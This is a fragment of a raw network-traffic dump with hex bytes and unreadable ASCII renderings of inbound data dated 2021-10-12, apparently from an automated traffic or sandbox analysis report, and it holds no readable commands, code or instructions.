85 19 c3 89 a5 8d 0f 3a 27 fe c2 2c 2a 75 6b fd c9 1e 00 be 0f e5 cd 1f 16 bd 10 1e 4a 5f dd 02 2c cc a7 0c 5d 62 0d b6 59 
f7 de 15 26 88 93 41 4c e8 70 3d e5 0a 1f cf c1 29 
Data Ascii: 8C^R9bO"0&!/Oy9dhr8,JpN!d%H+q}QkX#X_v4<:kxs)BV{&BKZ"@\Fd+;;t[q*e*<EBH8:',*ukJ_,]bY&ALp=)

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 18 IN Data Raw: 88 fe ea 41 ce 51 de 1d 63 fa 1b 66 dd 79 f7 49 fa d1 5d 47 57 66 ab da ee de 16 92 4c 41 dd f2 29 6a 6d 8e 62 
f7 23 80 8e c8 41 f9 31 63 72 56 8d dc d4 55 fd 11 64 6c 6b c1 69 d2 42 4e be 72 89 13 56 af 7b 39 8c 24 34 1c e4 ef ce 1f 
4d f6 1f 4e 02 6b 38 bd e3 02 10 09 73 76 4e 1c 52 f2 4b 26 7f 17 71 6c e7 ff 99 36 9b dc 48 75 08 6c 25 e1 85 9f 6c 5d 25 
aa 0a fe 21 83 5f 1c d8 47 6d 14 35 5f 28 34 aa ec 76 fc 12 74 61 0a c1 d9 a6 af 42 17 d2 0a 4a 13 ec cc d4 95 58 91 82 
19 23 32 d6 9b 5a fa 5f 49 5a 88 88 ad 97 8e cc 9a 7b 0a 7d 55 12 9f 79 c0 8f b8 f8 0d da db 36 3e 3b dc 62 82 24 46 73 
c9 65 f4 04 3d 5b 3b f7 b4 59 c8 3b d4 eb c0 30 17 da 3a 0b 0a 51 05 a0 56 27 24 19 04 ee 75 d0 8e a8 9c 6a 9f 20 c1 dc 
51 0c 60 70 c2 81 24 06 cd 0b 90 df 62 45 05 c1 
Data Ascii: AQcfyI]GWfLA)jmb#A1crVUdlkiBNrV{9$4MNk8svNRK&ql6Hul%l]%!_Gm5_(4vtaBJX#2Z_IZ{}Uy6>;b$Fse=
[;Y;0:QV'$uj Q`p$bE

2021-10-12 14:35:51 UTC 19 IN Data Raw: cb 5f a2 a2 38 48 06 d0 97 f8 2d 76 c4 3e 8b 86 a9 8a e5 2f d7 c9 e1 b3 06 c6 67 a2 99 83 f2 e6 56 79 36 c5 ee
b0 7c dc a6 1b 4e 17 5c 85 9f a6 2e e4 8b a4 90 b6 36 bc 58 aa 9e f6 34 94 0a 05 ed 77 06 7d c1 46 99 54 db f7 56 c2 b8 
e9 32 99 b4 e8 05 9b 1a 25 81 8b 3f f5 53 99 73 f0 07 02 af d6 83 cd 9f a1 46 35 45 01 e5 6a b1 4a 6c 37 8b 46 14 c3 8f bf 
1a 1a 3a 26 ff d1 6c 3b de 74 d5 0d 12 00 b8 07 34 00 1d 16 b4 38 39 4a 45 d7 a0 3c 8c b0 24 99 68 07 b0 48 f0 f6 d1 24 
9e 9f 69 6b e7 70 37 47 01 5f d7 e8 ed d2 38 d6 c9 5c c9 06 ed 29 dc 50 85 8a a0 15 60 cd f8 a5 ae 94 f3 2d ce f5 7e 34 
71 aa 00 85 bc ab da 19 b9 34 1a 34 23 3c 39 78 11 d3 ea c6 d9 28 89 69 75 71 dd a3 c7 b0 4a 1b 67 8c a8 25 80 d8 71 
ac 1c 82 0c 81 90 16 a3 36 11 01 1d 94 3e 95 6e 00 10 
Data Ascii: _8H-v>/gVy6|N\.6X4w}FTV2%?SsF5EjJl7F:&l;t489JE<$hH$ikp7G_8\)P`-~4q44#<9x(iuqJg%q6>n

2021-10-12 14:35:51 UTC 20 IN Data Raw: 3c 8c 7f d4 50 9f f5 ee 51 e3 92 f7 f1 63 d1 18 76 8b 86 08 b0 d4 d3 5d 47 51 64 9c b7 3c 42 16 98 64 42 dd f2 
32 68 68 a2 68 74 23 86 a8 15 6a fc 28 9d 56 52 bf ca d8 45 fd 28 70 6e 68 f3 af d3 6e 4c 5b 25 88 13 56 ca 66 3d 8c 31 
28 40 86 ee e2 0e 51 14 67 4e 02 60 29 92 02 42 06 2b 90 21 53 09 f4 e3 1a 35 1a fe 70 40 e4 de d4 ae 90 c6 73 26 0a 7d 
27 99 03 9e 40 54 9f a8 4e e6 18 df 40 e2 df c9 79 43 06 69 42 30 aa f7 61 a6 fe 37 33 15 e9 ea a2 87 32 1a cb 13 ec 02 
bd d2 ea 0d 5b bd 87 ac 21 76 fe f1 5e e4 ab 60 11 88 a3 ae 87 de 33 65 82 13 6d ec cc 97 70 44 10 5a 56 1b f6 e8 28 38 
3b 5d 0f fa 24 6e 79 e1 1c de dd 39 73 41 fd c7 8d e1 15 d2 f8 c1 93 80 da 3a 0f 0e 37 14 a7 22 28 37 1e 28 b9 95 d1 84 
70 f4 ea 90 5e da d8 48 3b 00 a6 54 e1 08 3c f4 24 ff 
Data Ascii: <PQcv]GQd<BdB2hhht#j(VRE(pnhnL[%Vf=1(@QgN`)B+!S5p@s&}'@TN@yCiB0a732[!v^`3empDZV(8;]$ny9s
A:7"(7(p^H;T<$

2021-10-12 14:35:51 UTC 22 IN Data Raw: 8c 39 e4 60 04 e7 4d a4 8a fc 4a 5d df bf 11 21 76 c2 51 9a 8f a9 80 e0 32 db c9 f3 ac 17 39 66 8e 97 84 a2 94 
56 79 32 45 e6 b0 fa d1 b9 09 4e 17 54 9a 95 58 2f c9 80 a3 8b c8 bd b5 58 ae 32 e9 25 98 aa 04 f6 89 0b 51 d2 40 ab b3 
d9 f6 50 ea 50 eb 9e 96 db 90 0b 9b 10 2f 27 8e 3f fd 4a 67 72 dc 1f 15 a3 d7 8b d2 8d 5f 8e 10 47 2a f3 52 c1 b4 4f c1 a1 
5d 2b c7 8f 74 00 1a 3a 0d ff d1 7d 39 1d 82 d5 0d 16 6f 8c 07 cd 03 72 23 bb 38 33 40 82 64 a0 3d 8c 95 0c ae 60 0d ba 
44 fc de 2e 24 88 9f 7a 6f c8 70 33 47 1b d2 ac e9 ed d3 35 06 90 56 c9 07 cb 3d dc 50 bc a8 a0 14 6f c7 f1 2b 03 4c 4b 3f 
cb e3 75 25 37 cf 01 84 b2 a1 d3 08 ec 2c 1b 1c 6e 3c 39 7e 2d d4 9c ab 09 54 89 69 28 53 c9 a3 c9 ba 62 1b 0c 86 a2 49 
d4 f0 e0 ac 06 88 bb 93 96 00 b2 30 7b 02 0e 93 
Data Ascii: 9`MJ]!vQ29fVy2ENTX/X2%Q@PP/'?Jgr_G*RO]+t:}9or#83@d=`D.$zop3G5V=Po+LK?u%7,n<9~-Ti(SbI0{

2021-10-12 14:35:51 UTC 23 IN Data Raw: d1 26 8c e0 9a 2b 5e 76 c0 3e 88 fe ee 4d ee 68 f6 cc 65 e2 e3 4f db 6a 89 6d d2 f9 59 6f ae 77 ac bf 53 b3 16 
98 6e 6f c4 e1 27 7e 6a a2 4b 09 22 aa b3 13 14 ff 30 63 5d 00 9f dc d4 5b e6 b6 66 57 42 e9 51 d8 54 ba 62 7b a2 0f 45 
d5 75 28 88 3c d2 5d 54 ea d9 35 4b 68 0e 4e 13 6e 3d 03 f3 6e 05 36 af 70 4e 0b f4 fe f5 30 2d 02 5a 69 db be 23 cb 64 
d2 77 f4 06 64 2a bf 4b 89 46 57 87 bb 51 d6 0d db de 1b de e5 53 54 2c 66 79 7c aa e6 63 3e 20 36 1f 18 bf fd a2 87 3c 
3b ec 7e cb 02 ac d2 eb c0 42 ef a1 bb 32 76 70 57 4c cb 79 49 77 8a 88 ad 92 a3 11 c9 7a 1b 7a 11 de e1 5a ca a7 6c e2 
3e ca 8d 3d 3c 3b de 83 4d 32 77 75 c9 46 f6 04 3d 5e 42 2a 87 54 e0 15 fc a2 c6 ed 9c d8 24 4b c9 66 05 a0 22 3e 37 1e 
28 fe 9a d2 84 70 ca 54 91 20 cb eb 51 41 1e 58 55 85 
Data Ascii: &+^v>MheOjmYowSno'~jK"0c][fWBQTb{Eu(<]T5KhNn=n6pN0-Zi#dwd*KFWQST,fy|c> 6<;~B2vpWLyIwzzZl>=
<;M2wuF=^B*T$Kf">7(pT QAXU

2021-10-12 14:35:51 UTC 24 IN Data Raw: 2d 9c 06 d8 c4 8c 31 fc 43 ee c9 5e a2 a0 27 30 6e c0 e9 f0 23 76 c0 16 ee 8c a9 8c c2 0b d7 c9 f1 33 0e c7 67 
a6 44 4e 88 ef 56 7b 27 bc dd a9 84 dd a6 1b 46 3f 51 86 85 a0 06 c1 8b a4 9a 36 ac b5 58 ae 4d 59 36 94 aa 0e f2 0d 39 
64 bf 4e 83 54 df de 58 c1 b8 ef b6 b4 b4 e8 01 1b 12 25 3b 86 e2 64 5e 99 73 f2 02 79 9c ce fd c5 9f a1 8b 14 4a 02 f6 6c 
99 6e b0 3e 81 c6 13 c3 8f bb dd 69 38 27 ff d3 73 1b 06 64 ab 05 1c 00 bc 2f 97 0b 1d 10 93 1c 39 4a 55 57 a8 3d 8c b4 
f9 cc 62 0d b0 60 fa f6 d1 22 e7 9c 68 6b e2 1f 3c 46 1b 55 ff ed ed d2 3e b9 e5 57 c9 0c 8c 23 dd 50 bc 96 5e 14 30 cf e7 
b7 4a 95 e5 d2 cf aa 7c 14 97 a0 00 85 4c aa cc e7 e8 61 18 14 8a 3c 39 78 f5 d2 fc 39 d8 77 a5 03 2b f7 a2 a3 c9 b1 25 
17 0c 86 a2 4a 88 d9 71 a6 2e 92 0f 80 96 79 3e 
Data Ascii: -1C^'0n#v3gDNV{'F?Q6XMY69dNTX%;d^syJln>i8'sd/9JUW=b`"hk<FU>W#P^0J|La<9x9w+%Jq.y>

2021-10-12 14:35:51 UTC 25 IN Data Raw: 3a 02 83 e7 0b be 13 8a fa 62 35 49 6d e3 52 99 e5 f1 74 03 6d da d3 63 eb 16 66 e6 78 f7 45 c1 fd 42 64 42 
6c ac a4 27 c9 e8 99 48 66 c5 e1 38 7e 6a bd 4f e4 dd 87 84 1f 6a f3 2b b5 44 75 a5 c8 c7 44 ee 3d 6b 60 78 17 50 fe 4f 
46 72 5c a0 01 57 d1 7f 35 93 35 3f 47 78 fe d5 00 46 85 0b 62 0c 68 3a f6 da 50 07 21 b6 67 58 05 e1 f0 10 31 10 1b 6e 
45 1d d6 f0 3f 8a d1 71 37 dc 7f 28 91 d7 8c 77 57 96 a0 55 c7 f7 da 71 17 cf ee 6d 5a fa 64 5a 2b 88 f5 7e be 11 2d 00 2a 
3f d8 8e 8e 00 9a d2 00 e8 1d 9b c5 e7 f3 4b 8a 9b 96 cc 73 d2 eb 4b f1 44 79 eb 99 83 b4 91 b5 d7 9a 6c 00 65 1f 3e 9e 
55 c1 b6 63 eb 09 0a e0 13 23 1d c9 16 fa 35 5d 66 d1 f3 f7 28 2a 62 41 e0 6e 44 36 98 ff eb c6 ec 89 df 25 3a 31 7d 05 
b1 47 2c 2d e0 2d fa 7b d2 95 7d ca 05 90 20 cb cb 58 
Data Ascii: :b5ImRtmcfxEBdBl'Hf8~jOj+DuD=k`xPOFr\W55?GxFbh:P!gX1nE?q7(wWUqmZdZ+~-*?KsKDyle>Uc#5]f(*b
AnD6%:1}G,--{} X

2021-10-12 14:35:51 UTC 27 IN Data Raw: 79 fd 1a 64 98 3c 4a 1f 57 ce 9d 3e d0 8f 04 cb 54 b1 ac 29 47 47 c8 99 2e f5 65 cb 3c f3 80 81 9b eb 2f dd c5 
ea bc 1c 11 74 ad 9b 92 85 c7 47 78 38 cf e3 a1 f5 cf 70 08 4d 15 4d 8a ad b7 2f e5 81 b7 9d a7 ab af 49 a7 46 20 27 9b 
a8 1d e2 5f 1b 7c c1 4c 90 51 ca f9 4c 14 ab e6 8f 95 a3 32 1c 4d 97 0e 3b 82 3e e6 58 9b 62 ff 0c 06 b9 c6 86 e5 89 a0 8f 
36 46 10 fa 05 ad 4b b0 34 b2 6a 1a c3 8f b7 20 14 ba 27 ff 91 f3 3b 35 7d d6 1c 10 6f a5 06 cd 03 72 08 ba 38 33 62 0d 
d7 a0 3b 9f a4 35 8d 71 1d b8 60 ae f6 d1 22 9b 87 6e 07 cb 70 37 47 1b 5f d7 c9 ad 89 1b d6 ec 56 c9 06 e3 d9 e3 09 9e 
11 a0 15 65 7a ef 73 39 bf f3 2c cf e6 6d 25 21 b1 13 82 de 88 da 19 e9 3e 1a 34 0f 7c 62 50 14 d2 ea cd f1 08 88 69 23 7f 
f5 b4 ca b0 4c 74 14 87 a8 2f a3 ca 60 a8 17 91 
Data Ascii: yd<JW>T)GG.e</tGx8pMM/IF '_|LQL2M;>Xb6FK4j ';5}or83b;5q`"np7G_Vezs9,m%!>4|bPi#Lt/`

2021-10-12 14:35:51 UTC 28 IN Data Raw: 2e 7d d6 ab 8b 97 0c 85 f0 0a 5c 30 88 fa 65 3e 66 6a d0 f1 88 fe e4 4e 71 53 f6 dd 60 d2 2e 4f f7 73 e0 c3 ed 
f9 5d 46 79 c1 ac b5 36 f6 4c 98 64 6f ca 24 ae 55 7b a6 51 e4 24 97 ae 01 53 e1 32 63 51 66 37 db d4 5f ef 3f 7b 6e 67 ff 
40 d5 e0 55 68 40 9e 9f 69 d1 75 38 2e 31 27 4f 74 fe c2 0b 42 63 87 61 02 6a 2a ee ff 53 0b 37 ab e8 5f 17 e7 f5 97 20 0c 
17 59 cb e3 d7 d6 12 8a d7 76 b2 26 73 32 82 eb 05 44 46 87 bb 40 36 1b db 5d 07 f6 f1 7c 54 26 5f 65 35 aa ec 11 ac 00 
36 04 0f c6 c8 a5 96 3f 99 65 18 32 14 30 a5 d9 f2 5a 9b 97 b3 23 7a ea c8 40 f9 55 67 2a 07 8f ab bf a7 df 96 6c 17 6c 2b 
c5 b7 68 ca a7 62 58 1c d0 e0 13 2d 30 ce 19 ed a9 69 79 e1 0c e5 09 2a 7e 51 e0 28 42 ed 3d 77 eb c6 e7 8b d7 2c 9b 
0e 6d 14 ab 4a a9 1f 0f 2c d6 7f c3 81 02 f0 14 
Data Ascii: .}\0e>fjNqS`.Os]Fy6Ldo$U{Q$S2cQf7_?{ng@Uh@iu8.1'OtBcaj*S7_ Yv&s2DF@6]|T&_e56?e20Z#z@Ug*l
l+hbX-0iy*~Q(B=w,mJ,

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 29 IN Data Raw: 09 72 2c 6e 63 68 d4 1d 75 a1 3b 9d 0c 52 dd 89 27 e9 ba 13 d4 46 8a b4 39 48 57 c8 b5 e9 07 19 e3 3f e2 85 
b8 a8 fb 0c b8 e1 fa b3 0c d6 45 b5 f6 aa 8b ef 5c 68 1a dc 81 9a fb d5 ac 0a 60 78 77 84 85 ac 3f e1 9d b5 94 38 13 da 74 
ab 90 fc 27 b1 b5 4c 60 5c 0a 7d c0 55 a2 45 fe e9 7e d3 99 ff 81 d0 9c fe 0a 9b 10 56 1e 83 3f ff 4f bf 62 d6 0c 23 c0 f5 82 
cd 95 b2 a8 2d 62 29 e1 6b b1 40 98 69 89 46 1d eb a1 bd 00 1c 55 5f ff d1 66 28 1d 7a c4 0b 0d 28 d7 3d cc 09 17 c8 b7 
29 1f 66 58 c6 86 52 db b0 24 93 bc 0a ba 96 e7 f1 db fa 9d 92 63 b5 f9 55 1f 70 1b 5f dd fa c4 fa 00 d6 ec 5c 17 06 e4 03 
da 7a f7 fc a0 15 6d cd f8 a5 00 94 f3 2c ef f5 7e 34 e6 a0 00 85 a3 ab da 19 e9 3e 1a 34 2d 3c 39 78 fc d3 ea c7 f8 28 89 
69 31 7a dd a3 d8 b0 4a 1b 0d 86 a8 25 8d 
Data Ascii: r,nchu;R'F9HW?E\h`xw?8t'L`\}UE~V?Ob#-b)k@iFU_f(z(=)fXR$cUp_\zm,~4>4-<9x(i1zJ%

2021-10-12 14:35:51 UTC 31 IN Data Raw: 1e 9d 9c 96 5f 27 6c c1 b0 bc 02 f0 84 da 16 c0 3b 9e 6a 48 b8 6d 6b eb 5d 88 ef e1 49 ea 92 f7 f1 6e eb 17 56 
6d 51 e6 4f d2 f3 4e 43 4e 6f bf ba 3c cf 19 87 6b 9b dc de 2e 6f 77 be c0 ce 6d 7b 57 ea 64 e8 22 6c 57 6f b5 c3 da a1 ef 
00 7e 6e 66 ff cb fa 53 44 63 5d 83 0c 59 c2 7a 39 9d 2f 37 a2 79 c3 b3 0b 86 fa 0a 4e 03 42 3f fd f2 48 2e 3d bf 74 48 01 
7d e4 0b 31 00 13 7b 7d e9 c1 db 1c 8a da 60 28 a8 7d 29 99 e2 bb e0 68 87 bb 4b 44 18 d1 45 0d d9 47 6d 5e 35 61 dd 
0b aa e6 64 1c 11 3c 05 03 d1 55 9d 87 38 16 70 11 e2 11 a7 c7 f7 e7 4e 8a 09 94 32 72 ff f3 56 eb 59 77 2a 16 99 a7 a8 
b0 50 8b 71 03 6d a6 d1 93 60 dc 3b 79 f6 17 ca 6f 09 30 2c f2 aa fa 24 4c 5f fd 1e f9 04 2a 7c 58 e7 4a 52 cc 36 c5 e1 de 
77 b2 cb 3a 0b 28 b6 17 a0 5c 28 1f 0a 2c d6 7f 
Data Ascii: _'l;jHmk]InVmQONCNo<k.owm{Wd"lWo~nfSDc]Yz9/7yNB?H.=tH}1{}`(})hKDEGm^5ad<U8pN2rVYw*Pqm`;y
o0,$L_*|XJR6w:(\(,

2021-10-12 14:35:51 UTC 32 IN Data Raw: d5 3b 6f 34 68 3b 9d 28 5d 79 6e fa 0b 62 96 24 62 0d 74 ce a7 34 c0 e0 fa 34 a1 b5 a9 13 42 5f dc dd 69 3c 7b
ea 3c f4 84 ac af a0 38 01 9d fe f9 0e f6 d2 b4 b3 90 ba ed 56 44 38 c5 ee f3 fa d5 b7 0d 4e 3c 73 85 8d b1 d0 e4 a7 a6 88 
ba a4 bd 40 54 91 da 39 ea 9d 0c ed 73 79 36 c0 46 89 5f c2 fa 56 ca ae 17 9f bc b6 ff 07 9b 12 3c c5 83 13 f7 77 9b 58 3f 
1a 00 c0 9b 82 cd 95 8b 8f 3c 45 12 c6 68 b1 1f b0 3e 8b 02 1b c3 9e a9 0c 31 77 27 f7 c6 92 3a 19 7f cd 01 1c 08 a1 f9 cc
25 19 0f 91 22 35 4a 57 cf 5e 3c a0 bc 26 8b 61 25 fd 49 fe fc fc 2d 91 99 69 63 f2 8e 36 6b 16 58 b8 a7 ec d2 32 ce df 4e 
de 2c f8 25 dc 58 a0 7e a1 39 6d da f4 a5 bc 8f 0d 2d e2 f7 55 36 18 11 1a af b2 ab da 02 d9 3c 1a 02 2f 3c 39 78 0b d3 ea
c5 f4 29 a3 6b 46 82 dd a3 c3 9c 5f 19 
Data Ascii: ;o4h;(]ynb$bt44B_i<{<8VD8N<s@T9sy6F_V<wX?<Eh>1w':%"5JW^<&a%I-ic6kX2N,%X~9m-U6</<9x)kF_

2021-10-12 14:35:51 UTC 33 IN Data Raw: dd bc fb b3 c2 1e 97 82 81 45 3e 77 4c b6 b4 14 ba 19 ff 05 d2 83 14 fc 72 23 68 79 d0 44 89 fe e4 5f f4 e2 41 
c5 bb ff 71 6d f7 79 f7 4f d2 f9 2d 07 0a 5f 3d b5 3c d4 a2 04 6d 6c 53 45 34 a4 7e 86 50 f6 23 86 f5 a1 e7 f1 1b 63 57 7e 
a9 ec d1 5f 67 2c 70 7f 24 e9 51 c3 6a d3 63 57 82 11 39 49 75 39 86 2d 25 d2 cf cf 31 1f 56 7b 3b 45 2a 4b 28 fd f4 31 51 
20 bc 7e 34 32 67 e3 0b 3b 02 6f e9 6c e3 dd d0 3c 15 6d 40 dd 0a 6c 23 bf f6 b7 4d 54 87 bd 39 b1 08 db 57 66 c7 ec f2 
e3 fa 7f df 83 7c f1 bf a9 d6 bb 34 1c c1 d8 a8 81 2e 00 4e 06 ff 0b 22 61 48 6f 53 87 82 a3 3b fc 49 c8 4c fb 55 6b 3b 92 
81 25 08 70 c4 14 ca af e6 32 d6 99 60 c3 29 df 2c 05 52 44 30 2a 3a da 07 fc 0e 58 7b c9 1e c6 0d 3b 45 46 f7 b4 1a e0 
15 c5 fd d5 e9 a2 f2 3b 0b 22 66 14 a4 46 cd 
Data Ascii: E>wLr#hyD_AqmyO-_=<mlSE4~P#cW~_g,p$QjcW9Iu9-%1V{;E*K(1Q ~42g;ol<m@l#MT9Wf|4.N"aHoS;ILUk;
%p2`),RD0*:X{;EF;"fF

2021-10-12 14:35:51 UTC 34 IN Data Raw: 9c 63 73 a3 53 81 4d 62 34 61 61 63 29 60 6d 75 dc 6e 6b 81 36 62 0d 74 c5 8e 32 85 d7 05 cb 5a be ae 38 40 
47 27 96 d4 36 74 c2 39 e1 e0 31 8a ea 25 b8 eb fa b3 0c ba 2f a2 99 87 91 e3 56 71 20 3b ef 9c f2 a6 c7 1a 42 1d 57 9c 
89 a6 26 f2 75 a5 bc b4 bc b9 58 a2 89 08 35 b8 a2 7f 8f 76 0a 77 cb 5c 8f 54 d3 e0 a8 c3 94 eb 89 9c b4 e0 17 65 1b 09 
39 a9 3d de c5 b3 68 c0 19 02 d5 d7 83 cd d2 a1 8f 2d 51 0a 85 0b b0 4a ba 32 f8 24 1a c3 85 b2 02 61 72 27 ff d5 7f 3d 
46 5b d4 0d 16 13 bd 16 c8 18 1b 79 9c 39 39 40 4e d2 b8 52 a5 b1 24 93 71 08 a8 27 d4 f7 d1 2e 80 96 06 f3 e8 70 3d 54 
1f 4e d2 86 8e d3 38 dc ff 51 d8 01 f2 2d ca 41 b2 0e 17 7a 43 cc f8 af bf 4a e9 3d cb 9a 1a 35 33 aa 09 ea d7 aa da 13 35 
e0 10 3d 03 3a 30 17 5c d3 ea cd 05 2f a1 1f 29 7b d7 
Data Ascii: csSMb4aac)`munk6bt2Z8@G'6t91%/Vq ;BW&uX5vw\Te9=h-QJ2$ar'=F[y99@NR$q'.p=TN8Q-AzCJ=535=:0\/){

2021-10-12 14:35:51 UTC 36 IN Data Raw: 57 c2 1e b6 69 2b af 06 de f3 12 97 8b 90 b2 29 40 d9 b8 a1 79 9d 85 f6 1a cc 3b 88 f2 73 d4 73 52 fa 4a 84 fe 
e6 49 f1 92 f7 f1 40 f8 66 05 f7 79 f3 4c fa 97 5c 47 5b 74 84 da 3d de 1c 9b 4c 15 dc f2 29 56 f3 a6 50 f1 05 99 a5 19 7b f0
2a 9d 56 52 bf db f8 46 f2 20 70 77 76 17 50 fe 4b 46 18 1d 88 13 52 da 6e 35 8c 28 31 a2 79 c3 ee 1d 2d 30 0a 4e 06 69 
03 93 f3 42 0c 22 94 1b 4f 1a fa e0 23 41 00 00 7b 44 6b d7 dc 32 bd c4 6c 22 02 73 2a 70 fc b3 75 54 af d4 4b e6 03 d9 
26 57 de e5 78 7c 5d 76 51 3e 93 98 9a 41 ff 29 15 10 c1 d1 bc 79 39 3b da 38 c4 fd 53 29 e3 fa 56 91 8c a4 38 8c ff cc 55 
f8 56 49 4d 8b 88 a1 c2 ed cc 9a 79 04 71 36 c0 97 61 34 a6 44 d1 0e f4 9d 19 3c 31 fa 05 f9 24 46 20 a4 0b f6 04 3b 2a 
b8 08 4b b1 1e ea 2b 09 38 12 65 38 c4 f4 dd 
Data Ascii: Wi+)@y;ssRJI@fyL\G[t=L)VP{*VRF pwvPKFRn5(1y-0NiB"O#A{Dk2l"s*puTK&Wx|]vQ>A)y9;8S)V8UVIMyq
6a4D<1$F ;*K+8e8

2021-10-12 14:35:51 UTC 37 IN Data Raw: 88 98 95 9d 40 bc 65 48 a7 54 81 27 1c 55 61 2d 67 01 f7 79 79 f1 23 d5 89 2d 96 63 62 cd 8c 3b fe b6 a4 c9 
5e a4 dc 58 48 5d dd bf 5a 21 76 c2 16 5c 8f a9 80 85 15 d6 c9 f1 b5 2e f2 64 a2 9f fd ea ef 56 7d 10 f3 ed b0 fc fd 82 1b 
42 1d 33 bf 84 a6 24 e3 a3 03 92 b6 a2 cb 38 aa 90 f2 1c a3 a9 0c eb 5f 2e 7d c1 4c ec 6e da f6 5c c4 90 d1 9d 90 b2 96 
6b 9b 1a 21 13 0a 3d f5 5a b1 cd f0 1d 08 c0 ed 82 cd 95 a7 a7 05 46 01 f0 14 d1 4a b0 3a a3 ca 19 c3 89 97 be 1a 3a 2d 
90 eb 6d 3b 3f 7b fd 82 1e 00 be 79 ad 09 1d 12 93 a8 3b 4a 59 ff 1e 3d 8c ba 4b a3 61 0d ba 4e d6 cc d2 24 8e eb 09 6b 
e8 74 1f df 19 5f d1 c1 53 d2 38 dc 83 6c c8 06 e9 2f f4 d9 b4 80 a6 6b 0f cd f8 a1 9c af f0 2c c8 dd 5a 34 33 aa 6f bf b3 ab 
d0 1f c1 02 19 34 29 42 59 78 0b d7 c2 55 db 28 
Data Ascii: @eHT'Ua-gyy#-cb;^XH]Z!v\.dV}B3$8_.}Ln\k!=ZFJ::-m;?{y;JY=KaN$kt_S8l/k,Z43o4)BYxU(

2021-10-12 14:35:51 UTC 38 IN Data Raw: 0a ac 5d ec 46 57 cc 2f f1 6a 07 ad 05 1d e9 1e 9d ab d4 4f 28 6a f8 9b a3 16 04 ea cc 1d d1 3d 8f d2 3d 29 72 
78 d0 eb 8a fe e8 7e de 6c f6 d7 49 a0 1e 4e f1 51 d3 4f d2 f3 32 7d 50 77 a6 b2 14 85 15 98 62 4d 64 f0 23 78 53 85 50 f7 
29 ae f4 16 7b fe 19 47 57 7e b0 b3 ee 5e ee 26 77 10 12 e8 51 d8 2d 3b 62 57 82 00 51 fa 16 2b 8b 08 ac 5d 78 e5 c2 18 
5e 14 17 4f 02 60 26 f4 da 6d 06 21 b6 59 4c 31 b9 ea 23 83 01 00 77 7f e7 c6 d8 ba 2c cc 51 18 1b 68 30 87 eb 8c 64 7c 
ae aa 43 f7 01 41 4e 1a cf e3 7a 7c 08 77 51 3e b9 e3 74 bb 28 07 1f 1c cb f5 ab 96 3d 1f db 28 59 02 ac d0 ed fb 4d 47 97
b3 23 7a ef e9 d4 4d 67 ae 2f 8d a0 2a be a6 c6 b7 e9 c5 74 28 c7 61 6f de a7 68 e1 62 8b f3 18 36 e7 f0 0c ea 24 46 7b 
e1 8d f7 79 c6 72 49 f7 b4 53 e0 0e e4 ef c6 ff 
Data Ascii: ]FW/jO(j==)rx~lINQO2}PwbMd#xSP){GW~^&wQ-;bWQ+]x^O`&m!YL1#w,Qh0d|CANz|wQ>t(=(YMG#zMg/*t(a
ohb6$F{yrIS

2021-10-12 14:35:51 UTC 39 IN Data Raw: 69 d4 53 29 25 d3 cd 97 9d 4c d9 e9 61 93 51 92 24 73 31 49 49 60 29 77 14 89 f7 0b 61 98 28 b4 69 5b cc 8a 
5e 08 9e 05 c1 3e 9b 25 38 48 5d cf 1a d3 23 76 c5 2d e8 86 81 ec e9 2f d1 a6 66 b3 06 cd 6e 8a 12 82 8a e5 39 f5 39 c5 
e4 98 d5 d5 a6 11 1d 3b 7b 8c ad 2d 2f e5 81 cb 1c b7 a4 bf 4e be b8 7b 35 94 a0 2a e4 5f 81 7c c1 4c ec d8 da f6 5c ea 
0e e9 9e 96 a7 e2 20 8c 13 0d b0 83 3f ff 33 17 72 f0 17 6d 23 d6 83 c7 b7 17 8f 3c 43 12 fc 42 f6 4b b0 34 9a 40 0a ca a7 
dc 03 1a 3c 48 75 d0 6c 3d 5a e5 d5 0d 16 11 b2 2f 7a 09 1d 10 a8 3d 12 5f 4e d1 b1 34 a4 d3 27 99 66 62 3a 49 fe f0 f9 
9c 88 95 6f 78 ed 61 33 6f 94 5e d7 e3 c0 ed 29 d1 c4 d9 c8 06 e9 04 ea 41 b3 ac 92 66 4d cf f8 a3 a7 9f e2 27 df f1 11 1c 
31 a0 06 94 b9 ba dd 76 cd 3c 1a 32 3e 37 28 7d 64 
Data Ascii: iS)%LaQ$s1II`)wa(i[^>%8H]#v-/fn99;{-/N{5*_|L\ ?3rm#<CBK4@<Hul=Z/z=_N4'fb:Ioxa3o^)AfM'1v<2>7(}d

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 41 IN Data Raw: d0 33 66 f5 25 13 ae 75 aa 40 48 c4 f9 49 44 01 80 16 21 e6 0d 92 83 9d 49 30 92 d1 93 aa 65 b2 85 f6 16 db 
2e 9b ff 64 3b 77 69 06 53 a4 fd f6 45 f8 6c e7 d8 77 04 1c 62 f4 6e e4 4a d2 e8 58 58 41 89 ad 99 3e f5 13 a0 dd 9b 22 0d 
25 54 7b a6 50 e4 13 85 a8 42 7a f8 31 3f 57 7e ab c3 cc d2 c5 2c 70 7e 66 ef 47 f2 a3 44 63 57 14 15 41 f1 85 39 8c 20 
b0 5a 60 cf 0d 1f 56 7b 96 48 1b 4a f9 fd f2 42 9a 27 a6 54 eb 1a f0 e3 97 37 1a 20 c5 6c e3 d7 40 32 87 fa e7 22 0a 6c bf 
88 e0 bf fa 57 87 bb d6 e0 17 c4 34 80 d8 fa 75 4b 54 eb 57 2b a0 f9 2e 22 06 29 14 03 9b 45 a4 98 34 08 ff 9c ee 1d a1 
c9 c0 6f 5c 8e 8a a4 3d ee f8 ff 55 e5 4b fd 3b 95 98 b4 8b 3a ca 85 6c 04 68 a6 c6 80 6b d5 df f4 fc 12 cf ec 4e a0 3d c5 
19 da 8f 46 79 e1 91 f0 1b 2e 53 d7 f7 b4 53 7c 
Data Ascii: 3f%u@HID!I0e.d;wiSElwbnJXXA>"%T{PBz1?W~,p~fGDcWA9 Z`V{HJB'T7 l@2"lW4uKTW+.")E4o\=UK;:lhk
N=Fy.SS|

2021-10-12 14:35:51 UTC 42 IN Data Raw: b6 0d 53 66 af 42 c0 6d 9b 2e fb ae 85 8c 59 ba 72 70 85 69 16 23 62 34 76 3c 73 3a 5a 68 6a cf 89 69 89 2d 
